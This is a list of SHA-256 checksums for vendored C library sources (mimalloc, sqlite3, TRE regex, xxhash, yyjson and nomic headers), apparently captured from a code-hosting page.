a92d58e47220e5b6d138b83d92498771be4195ee59136a134e4461f6f726b9b8 vendored/mimalloc/src/alloc.c
|
||||
86fde644ede2e8d582e53499568a1713516a20326e0350eaa06a28029cece91b vendored/mimalloc/src/arena-meta.c
|
||||
a1d6900d2b9a17461aa2a72a7791dfb22f6167b86f7ac6f15f981d9735aa2adb vendored/mimalloc/src/arena.c
|
||||
de16033e029488e9ade4152ea1274e1a5ecbdc2c8a8d8ee50b745fd037ee6f6c vendored/mimalloc/src/bitmap.c
|
||||
2e7a54ff44592a1fe8fe929e691322622f8aa1e0b1e80954781f332a88dd6cd1 vendored/mimalloc/src/bitmap.h
|
||||
c9a845dd7b9020f26d73761d235fb75e7bc4a3682576de750050ac4098211b43 vendored/mimalloc/src/free.c
|
||||
ae8e88737c9861e8e071fe5f1e7acc52093bcffd136a359a6b473101e968c14f vendored/mimalloc/src/heap.c
|
||||
eca1fe77d72ab2aaccc447c8119056e9c4e8851bda9a95472b573539f76107ad vendored/mimalloc/src/init.c
|
||||
ebd95b475f15d5387e6ef3c88a9cb47b88e64d7e55998ae1dc656614676a443b vendored/mimalloc/src/libc.c
|
||||
192ce06ac9076445d223205fb340d8a1fc818dbf2b4c4a801dfd2c10bc6c1162 vendored/mimalloc/src/options.c
|
||||
011e965f28c0e2c885a6834d51bd756a458dd37ebfed6fd4d9ad6607ce0390ed vendored/mimalloc/src/os.c
|
||||
1be3a208c678fc34187c2a8ffb75f3fe1eecc674bbf8b2af4d1f329506b1fad5 vendored/mimalloc/src/page-map.c
|
||||
7ec275805c9f00eb66710ffa99817b3ed1dba9826435d08f4866f7935152f6ae vendored/mimalloc/src/page-queue.c
|
||||
d3614a59f2407a32e75b051deb1aff31b233f587d325dcc5420ba508551b687e vendored/mimalloc/src/page.c
|
||||
7488e9e562ca85d2d757ec48e4d334935263a2333aa05b6061d8520f427c5890 vendored/mimalloc/src/prim/emscripten/prim.c
|
||||
ce14eb6dfd55f241095b55f70983931a2d92f7a6a622a9b360cdd70ab3b53208 vendored/mimalloc/src/prim/osx/alloc-override-zone.c
|
||||
247a9952465eb105be03a9962e922b085ce5d52034775551a61cd8594275be73 vendored/mimalloc/src/prim/osx/prim.c
|
||||
cc771788e5ba591efb681829a8724f8662a1f50f3db39cf5ebe7738b8ed57e44 vendored/mimalloc/src/prim/prim.c
|
||||
c1ae32eaac7ccf18c10058cca99723892f8bd027318590151f5011c929c7e3be vendored/mimalloc/src/prim/unix/prim.c
|
||||
bee9c655a17e1e93bf4908e0a902fd3b566628447b1446fcbfa92bca2e76ca15 vendored/mimalloc/src/prim/wasi/prim.c
|
||||
4f3110ef2054c95cb275be96cb279224d3d46a728c5117bd1435425f382de778 vendored/mimalloc/src/prim/windows/etw.h
|
||||
5cde60fcef94cd79ab816030be00f8c1bdf18fab343563508c681ec6e762d1f1 vendored/mimalloc/src/prim/windows/prim.c
|
||||
a96a1acc75fd6595811b28420cf0495b87fac98c4dbc73aa0d742b6824f607c8 vendored/mimalloc/src/random.c
|
||||
4059be2a6676693be3433f5aedc711f56301772e65f3573654c236d6d1cfd074 vendored/mimalloc/src/static.c
|
||||
16825bbc252de422982b5728df7eda181d952824f5e3ce958c7fc85feae64b8e vendored/mimalloc/src/stats.c
|
||||
7f76bcace4b0578f2063477752138adabd99f7b10a276998e296a312c47a7cfe vendored/mimalloc/src/theap.c
|
||||
49be69a4b674e09690a63870830f3ffb05698ed4210949ef5add11957a08325b vendored/mimalloc/src/threadlocal.c
|
||||
dab3009c0d76b0c5e05ad8abc7c9f8f6effca547fea3c0394be96418a85c1081 vendored/nomic/code_tokens.h
|
||||
494d329d06e33904e6264b1f9d1cc82de2c6bb212f8d78ba281b7e1eb1179b61 vendored/nomic/code_vectors.h
|
||||
190d82e7899c6cf74260f122c4a737f77c68e98e8d516750df8d56e7fc00ad57 vendored/sqlite3/sqlite3.c
|
||||
19585c8b5230e9d4f223bf31b709ece7b6a0bb3faf00d8310625d8e58cda1b1d vendored/sqlite3/sqlite3.h
|
||||
ea81fb7bd05882e0e0b92c4d60f677b205f7f1fbf085f218b12f0b5b3f0b9e48 vendored/sqlite3/sqlite3ext.h
|
||||
7efd127c0fc4fe26a07684345cce9287762346abeab665e2fe72711c6fc118bd vendored/tre/regcomp.c
|
||||
eab23b8e79ee90f78e8495de64519afb61b627e062804fd4a622784e052a85fa vendored/tre/regerror.c
|
||||
26b0f550d491335cdaa3fecfe49213d68466befdf648ed281ccdaa631ea6d4f9 vendored/tre/regex.h
|
||||
fd6fe2789439d3d28140c27edfe6bcdde1d1c737cab4bd27b1287d3e759fa82d vendored/tre/regexec.c
|
||||
e98c7732fdbb35ec182edfe043743d7e6b4ad7bcf57b815ec9f37f0d1065a062 vendored/tre/tre-ast.c
|
||||
f5d0374597a42f4bf0e7a80001a68bae9ea2622b80f760d8005200fd20acaf0f vendored/tre/tre-ast.h
|
||||
45407a83ef0151a977cb7f8a5275b2a9831ae570d6f27a43723c8da1e76c0261 vendored/tre/tre-compile.c
|
||||
924c8b9aa6a261d8b86f1b0b3b575adc5274e135fefcd4193497445e5fc6245a vendored/tre/tre-compile.h
|
||||
6d803fb5dd3cdb8af353936869d92f7b6e25644c7fb3a26280d24fc4451db7d2 vendored/tre/tre-config.h
|
||||
d463e509cdc7eda5154d29c75791ccd58eff5d6f4345344829517f62ddb606e1 vendored/tre/tre-filter.c
|
||||
aabcc5902193f76e457deffa1b3cf2c3b63d39489e6da5fc3f16bb26e83dc067 vendored/tre/tre-filter.h
|
||||
fd6121af43c4d64f3dc6b55dcd0618bd5b69d5ada60f951bc663a924374a082c vendored/tre/tre-internal.h
|
||||
2fcb1bbadc845bc32b73b2882bb7f1988f7fdb183b8349750e5f20b29b6223da vendored/tre/tre-match-approx.c
|
||||
80a0b950fc1c34773d49fcec0f78a3b7de7c893852dcfc83f7eece3ebe262afa vendored/tre/tre-match-backtrack.c
|
||||
446bf71b5c22ee432dc42705c63abcda8eaebeafecc811d682b658b8d18e68f1 vendored/tre/tre-match-parallel.c
|
||||
3f726919232c0311daa533fbaff6bdcc3746817b48672c6ed95a6e160c2877f1 vendored/tre/tre-match-utils.h
|
||||
1645537ca85eefe543da3187b3d1a65bf796ae0a0576545457b56fb63fc13c67 vendored/tre/tre-mem.c
|
||||
6ae203e4ff329bbc15bd48004f0b5ac0804fe95b1557883d6840949e75f2018b vendored/tre/tre-mem.h
|
||||
a04e1bea47aff5d858460c1d08aac6ed3a3c8ee285500281dd3147ff0621095e vendored/tre/tre-parse.c
|
||||
29d69be4d03e723e4b99e9887774970f7e62176aed3369faacd34b955ffb509f vendored/tre/tre-parse.h
|
||||
4c9af903178f5f7030962b5708d4e656f8b060e795852e1eee883696b682849d vendored/tre/tre-stack.c
|
||||
aabe11f1b7c6c627dc9cfb62cfb9565ac9ebdf2c51c2d55c5320af5db76c5e3b vendored/tre/tre-stack.h
|
||||
1c2d81474d2b59b7a39f5b1592473adfb4109fad99156588088f2ccc56c654ab vendored/tre/tre.h
|
||||
90f76dce41eade7e28c3477d8b45acb8d2ccbc6d4aaba0bb93f0d5ec5b160820 vendored/tre/tre_all.c
|
||||
9632e5eeb20e3d328f8def0efb2e8230f5b5cb7d9f2e5680ad89caf065f8b3a6 vendored/tre/xmalloc.c
|
||||
22aee25e6892e97719ec4a5fad91345cd2145722ebbd3ec31397aff68108e3e6 vendored/tre/xmalloc.h
|
||||
5c3591fe6e6c86a619eb26760e9520e37a6fd5152882ab5ad93f912e2a855966 vendored/xxhash/xxhash.c
|
||||
86d0d813745821bbccf0be6d67356846f138e5c20164c52c24fade1419afdf7d vendored/xxhash/xxhash.h
|
||||
1da0205abb1a27c27db397b7f8a475abc0af58963af9a88fc807a6c4fa7a8d51 vendored/yyjson/yyjson.c
|
||||
b2bd3aec324a0d6bc67196f647c966870e783c2e3944684f10db26b2c04b773f vendored/yyjson/yyjson.h
|
||||
Reference in New Issue
Block a user